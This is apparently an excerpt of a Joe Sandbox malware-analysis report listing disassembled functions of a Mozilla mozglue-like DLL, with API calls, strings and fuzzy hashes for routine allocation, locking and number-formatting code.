Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C516470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C4DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C513CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

NaN, xrefs: 6C4E9EC1
Infinity, xrefs: 6C4E9EB7

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
